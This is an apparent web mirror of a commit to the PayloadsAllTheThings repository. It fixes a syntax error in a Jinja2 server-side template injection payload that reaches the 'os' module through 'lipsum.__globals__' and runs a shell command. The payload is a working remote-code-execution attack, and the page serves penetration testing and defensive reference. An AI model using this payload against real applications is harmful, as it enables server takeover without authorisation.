gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2026-01-17 07:11:35 -08:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #643 from p0dalirius/patch-2

Browse Source 
SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"]
This commit is contained in:
Swissky
2023-05-09 20:16:05 +02:00
committed by GitHub
parent 8d2c30e969 b3f98adf0c
commit af4ade2a44
1 changed files with 1 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
Server Side Template Injection/README.md
View File

@@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
{{ lipsum.__globals__["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860